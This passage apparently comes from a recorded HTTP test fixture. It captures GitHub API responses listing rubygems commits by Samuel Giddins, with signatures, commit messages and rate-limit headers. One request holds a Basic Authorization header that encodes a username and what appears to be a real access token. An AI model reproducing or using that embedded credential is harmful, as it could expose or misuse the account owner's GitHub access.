hhbUlFdm9QY2paNTVxQjBLUXQvK1BzVVxuZGwxbHBsMFMwcGZ3NHBwc1Rza0w2MUhEdWhSTzN2MWF6ZUVvUnA3WmxwZVBmQTJQQTdZaDBtMWZxNzIzU0RNZFxuWDQ1MTYwTnd4RWhOOGJrb2J5Zy9FY1lES2RHQXI2SFV5QW1ta25hbnJSelFiZDVaVVkzcVFsbS9iWEl2QmIrOVxubnlaK2o3dXF4ZzhkTElCclFFS3dhUHh6SmFNYmJTL3ZMNmY1T0NkY3htRVZ5N0syK1BSeWdveFVlK09Ea0NmQVxub3ZuUmpJUmcxd3dJby96NHhUTEJ2OEpzd1ZoU2pjUWxSYlFkekNObHZlVDg5V21DREp2NlcyRUJ3eDlpQ3B6OVxuZjg0bG1XNjZTaHUyaE1sL3VzMGNYek5iRDRQU0tDcnRkKzZOR3VRNit3WmhWL0hqU3pQVE1rR2R2dExFbHgwV1xuQ1BJbGtGQmN0R3ZoMWQ4anBTNmtDMm45U0QzdjcvZUhrQ05aYm9YeXlMQlI2emRPY2Q5N3VMQVFmNC9tTmRtcFxuR08yWG4vdUVSSVVlNWZQQ2JublAwKzBIbVMyRnduK1NNZ3djUU9Wbk9TL3dKNzczb2FtZ3NRNUxFTml5VjNsSFxuem5SVmlFbGx6WHBsNVFjZnZjVVFcbj1PcnhQXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA0ZGEyZTg0NmMzNTM2YjJiODdkODgyY2NkNGYxNGZhYTQ3MzhlYWQ1XG5wYXJlbnQgMDc0OTcxNWU0YmQ5ZTdmMGZiNjMxYTM1MmRkYzY0OTU3NGRhOTFjMVxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDczNzE4Nzc2ICswMjAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0NzM3MTg3NzYgKzAyMDBcblxuVXBkYXRlIHZlbmRvcmVkIE1vbGluaWxsbyB0byAwLjUuMVxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvOTZjY2NiMmMxNGExMDMyNjM4Mjc5ODQzNWQ3OTIxZTk4MjU4NjQ5NyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC85NmNjY2IyYzE0YTEwMzI2MzgyNzk4NDM1ZDc5MjFlOTgyNTg2NDk3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzk2Y2NjYjJjMTRhMTAzMjYzODI3OTg0MzVkNzkyMWU5ODI1ODY0OTcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjA3NDk3MTVlNGJkOWU3ZjBmYjYzMWEzNTJkZGM2NDk1NzRkYTkxYzEiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMDc0OTcxNWU0YmQ5ZTdmMGZiNjMxYTM1MmRkYzY0OTU3NGRhOTFjMSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8wNzQ5NzE1ZTRiZDllN2YwZmI2MzFhMzUyZGRjNjQ5NTc0ZGE5MWMxIn1dfSx7InNoYSI6IjUwOTZmYTM1YzFjYTNlMGE3ZDE3NWFhZjlkNzdjZDkzMTE0ZmQ5NzciLCJub2RlX2lkIjoiTURZNlEyOXRiV2wwTmpFME1EY3dPalV3T1RabVlUTTFZekZqWVRObE1HRTNaREUzTldGaFpqbGtOemRqWkRrek1URTBabVE1TnpjPSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTYtMDktMDhUMTQ6MzY6MDdaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNi0wOS0wOFQxNDozNjowN1oifSwibWVzc2FnZSI6IltSZW1vdGVGZXRjaGVyXSBGYWlsIGdyYWNlZnVsbHkgd2hlbiBhdHRlbXB0aW5nIHRvIHJlZGlyZWN0IHdpdGhvdXQgYSBMb2NhdGlvbiIsInRyZWUiOnsic2hhIjoiZmVkYmNmYjViZWNlN2UwNjZkMjk4ZTIxNDlmZmFmNWIyOThhMmFjNiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2ZlZGJjZmI1YmVjZTdlMDY2ZDI5OGUyMTQ5ZmZhZjViMjk4YTJhYzYifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy81MDk2ZmEzNWMxY2EzZTBhN2QxNzVhYWY5ZDc3Y2Q5MzExNGZkOTc3IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpYMFhkWEFBb0pFQUVaVzdNVjNhaFd4ZTBRQUlVS3dpMlNaNzc1TEJjWUpENlBQenYvXG4rOUNFd0I3Z0wyQitCQXpyZFlES2luM2hlUDB3YWQ1TlliTENscXBGREpyRnJDemNZeitiQVpXSUdIdmhSTTd3XG42OEtieFMvU3UyNWJNaVFnSE5WS2RQYzk1elhEckx3MnhEVDI5dFYxN1RsM0puWDd4Rk9PVEt3dXpSb0NLeHpTXG52L3ZNQUxQL1hUb0dTcFpuWFh3UG9vTEdPUUxQbmJ6M21vdEdneWFhTVJHVXhWTGZRSmRyZ3RpUGh6TjRiS1RFXG52eHM1OVFjdmlucW96MDZjdU95RGhNTjExY3FtMHpudjJXWVlxNUNwYndtREl1eC9pVzJHUUwvL2h3SGJoL1hvXG5qZEl3WWVzWVQ3V21TUmVuWFJkUTFmamc0ZnZONVdVN2pqUEhrNUlRUk5vSE9FQ0RoQWZlcHVFWEdUQS9TRlAxXG5JN1EzbVF4amNDRXA5M0lNcHFsY1o1cDI3TlFNcklJcEwvQ01YSEVaNFV4NHVqVmdSZDRMd3dLV25DeUNOSS9LXG5rNkRsQk9CRi9XWTdiZmZiSU1DVUZTdGx3aVN1YWNFU3NLVUE0OGlGN29KSkFnMVo4QUZUQkMzOTZtRldKRUYyXG5YT3BHRHhpMjd3aHNpVjc2RFNjdGZ1M2UxaVV6bDlCdzRqN2xOSCtJMUV2S2YzcCtHRVFOdEVvRmZRWTdpTEg2XG5GVWZwdGhOS0FuZzJzZk9iT0ZWS0tDTHZhMnpKaGs4UHdDS29sSkNVZWJEMWRYZi9GUGI2Nk5TcTNDTjEwNkFnXG5jNEtrUWZTbkVEb05kT0hkc2dERzZDUnJPam1FQzY3SkZKbWFQeTZHUzJLLzJUMmsrMnJTR1BKZ3Vrb2U2NTBzXG43SFpTWklBelc2b1JNYUtPZCtCclxuPVh3a1Ncbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGZlZGJjZmI1YmVjZTdlMDY2ZDI5OGUyMTQ5ZmZhZjViMjk4YTJhYzZcbnBhcmVudCAwNzQ5NzE1ZTRiZDllN2YwZmI2MzFhMzUyZGRjNjQ5NTc0ZGE5MWMxXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0NzMzNDUzNjcgKzAyMDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ3MzM0NTM2NyArMDIwMFxuXG5bUmVtb3RlRmV0Y2hlcl0gRmFpbCBncmFjZWZ1bGx5IHdoZW4gYXR0ZW1wdGluZyB0byByZWRpcmVjdCB3aXRob3V0IGEgTG9jYXRpb25cbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzUwOTZmYTM1YzFjYTNlMGE3ZDE3NWFhZjlkNzdjZDkzMTE0ZmQ5NzciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNTA5NmZhMzVjMWNhM2UwYTdkMTc1YWFmOWQ3N2NkOTMxMTRmZDk3NyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy81MDk2ZmEzNWMxY2EzZTBhN2QxNzVhYWY5ZDc3Y2Q5MzExNGZkOTc3L2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsIm5vZGVfaWQiOiJNRFE2VlhObGNqRTVORFkyTVRBPSIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiIwNzQ5NzE1ZTRiZDllN2YwZmI2MzFhMzUyZGRjNjQ5NTc0ZGE5MWMxIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzA3NDk3MTVlNGJkOWU3ZjBmYjYzMWEzNTJkZGM2NDk1NzRkYTkxYzEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMDc0OTcxNWU0YmQ5ZTdmMGZiNjMxYTM1MmRkYzY0OTU3NGRhOTFjMSJ9XX1d http_version: recorded_at: Fri, 15 Mar 2019 21:54:07 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?author=segiddins@segiddins.me&page=3&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4307' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f9ffb92399de8e614cc42c0f5c70301d" Last-Modified: - Wed, 07 Sep 2016 11:46:41 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - A65E:0A73:1091C25:21A3E68:5C8C1EFF body: encoding: ASCII-8BIT string: '[{"sha":"fa820666119654d3e8f493be9d25b60c692eb789","node_id":"MDY6Q29tbWl0NjE0MDcwOmZhODIwNjY2MTE5NjU0ZDNlOGY0OTNiZTlkMjViNjBjNjkyZWI3ODk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-09-07T11:46:41Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-09-07T11:46:41Z"},"message":"Update Manifest.txt for bundler/feature_flag.rb","tree":{"sha":"6e9eca27760c07fc90f5ac3a9ed22c6a7513809f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6e9eca27760c07fc90f5ac3a9ed22c6a7513809f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fa820666119654d3e8f493be9d25b60c692eb789","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXz/4hAAoJEAEZW7MV3ahWa1UP/jnRB5dCw3Dbmci4s4JkXV2N\nkNOKcOyr+CjTu/9/UN3ckvO49jixBgdy1lf4i2fojc3vHog3nJ84YOifXVuUredE\nFBxQPwZ1LkSentiLhAp6TNMj3xWpyr+EtD87BmO5IR0gS9hgNVRUc4Y+smut0qQ5\nD9b1Nc0DotpYtpCf+nYM1jJ/rp2oT0tZV1h9/kwMGV0dGfuf+f87e5jDObIuNQlJ\nZFR0LU3Vwa6GYG/PBQeLwZ9O/W8iuAKOhVvuN4mx8LUcgfGTXwwu/2tdlWoyxUYO\nSGbABHbm5asTxANOkqQxcv+hFfze3PU7tH/ln59vYLCDe5XCRfVz57a1PlJPzLLF\ngbDAl4lOK7F+yOJPmsog31z9A/FtVwCd+/HrTkcGd6ulRUtYaZ2dxbTdMh4vhMuX\nLDHcbULLZlvWkFqrNdfqq1B/TbSQZMksNvhVfJwu2n8OiaQG4cUk+0U6SxEAfjFL\n4KC0A0sI+nV0nDJnsI9tvCkJrORYRuoF8tbC7zhaWmKLkGizOt0EKfH4zM+dLDeR\nSgTxLHtp/hg03uIP8YKCsqT4Gc8+BvxdXVZZ+VuVP5WamT0A1DeP6XYD/DY/Zioi\nbcq2RobCRxjDIVZtoUMaDKtlBjBywSozSnI55evGt7WJdCURxlsSjwwiVjEKxy5E\nTKT008t6e6cTOQcBzdP5\n=hdJE\n-----END PGP SIGNATURE-----","payload":"tree 6e9eca27760c07fc90f5ac3a9ed22c6a7513809f\nparent 49388864942cc72e4e2b01e56c326ba26f9729e7\nauthor Samuel Giddins 1473248801 +0200\ncommitter Samuel Giddins 1473248801 +0200\n\nUpdate Manifest.txt for bundler/feature_flag.rb\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fa820666119654d3e8f493be9d25b60c692eb789","html_url":"https://github.com/rubygems/rubygems/commit/fa820666119654d3e8f493be9d25b60c692eb789","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fa820666119654d3e8f493be9d25b60c692eb789/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"49388864942cc72e4e2b01e56c326ba26f9729e7","url":"https://api.github.com/repos/rubygems/rubygems/commits/49388864942cc72e4e2b01e56c326ba26f9729e7","html_url":"https://github.com/rubygems/rubygems/commit/49388864942cc72e4e2b01e56c326ba26f9729e7"}]},{"sha":"49388864942cc72e4e2b01e56c326ba26f9729e7","node_id":"MDY6Q29tbWl0NjE0MDcwOjQ5Mzg4ODY0OTQyY2M3MmU0ZTJiMDFlNTZjMzI2YmEyNmY5NzI5ZTc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-09-07T11:23:24Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-09-07T11:23:24Z"},"message":"Update to a bundler that has spec support for compact_index 0.11","tree":{"sha":"2d11e16c336b81087e640b71e5de8a5bf18c855e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2d11e16c336b81087e640b71e5de8a5bf18c855e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/49388864942cc72e4e2b01e56c326ba26f9729e7","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXz/isAAoJEAEZW7MV3ahWijUP/A/kMcDGaSkp+/mMs9UjNwKP\nHYSbq1dbhHXxGAXzHLmiynUnnUMl3XIHOtCnFPBiqSPp9rodPAAcQ6/K2UGxTfpf\nBU9rOhkThhvxZmVqaQoSqPU+rxRqraFgjfNizjxe2AY87+BwTJG5uRLrwupX+IFQ\nDBnMH282yZHbtlujRNwmeTP5Lkc554lXamPmXetNeoNXK5OTj4rIAAsxA4tq4nmf\nVkbtkkuL3wH7NdJN7xzUyWyp0GsrkIQFf1Xi2vrDpStcbmooRFYW3WW7H2hZ6NOH\nb7uPK+76dQ8uUIIn7NEl5kIhUwF2UMx3soBR3fTXSC9NxfEFrjuDdsenf1sH7ZlZ\nfdli+TpYxj1gbA+se2nv+cz7uz6dbcAzi+k4Ql32D/cvO150WwtRKOMxBz4rUYiI\nPrLaehumYrb6HEmvEW2w8CPPiZSFfkPpVMO2DComVlU3HwipDwTtxChG8hwjOQ4y\ntu/87l2uQd9PpitLciiRiwSzSksIBGNuyTwVh/8WLwEjZVT2F9E72a8fb5bCRV5X\nHU7az9iA8jo4g58ZpNM4gfYYbQ48Ad+LATzCi2IC3nVMSWE8hcRa48u+0ZTF3N4D\nAMFGFnUPd6x2R98Q7hWWkq294mF11/OPUs0W4zixf0VMUPPg/f2fbnbvG+dvwO42\n1MEEFgHBH/760I0HN9gv\n=YTaU\n-----END PGP SIGNATURE-----","payload":"tree 2d11e16c336b81087e640b71e5de8a5bf18c855e\nparent 6599b57abdc8f78a5e24de4ef946aeb2914ccec4\nauthor Samuel Giddins 1473247404 +0200\ncommitter Samuel Giddins 1473247404 +0200\n\nUpdate to a bundler that has spec support for compact_index 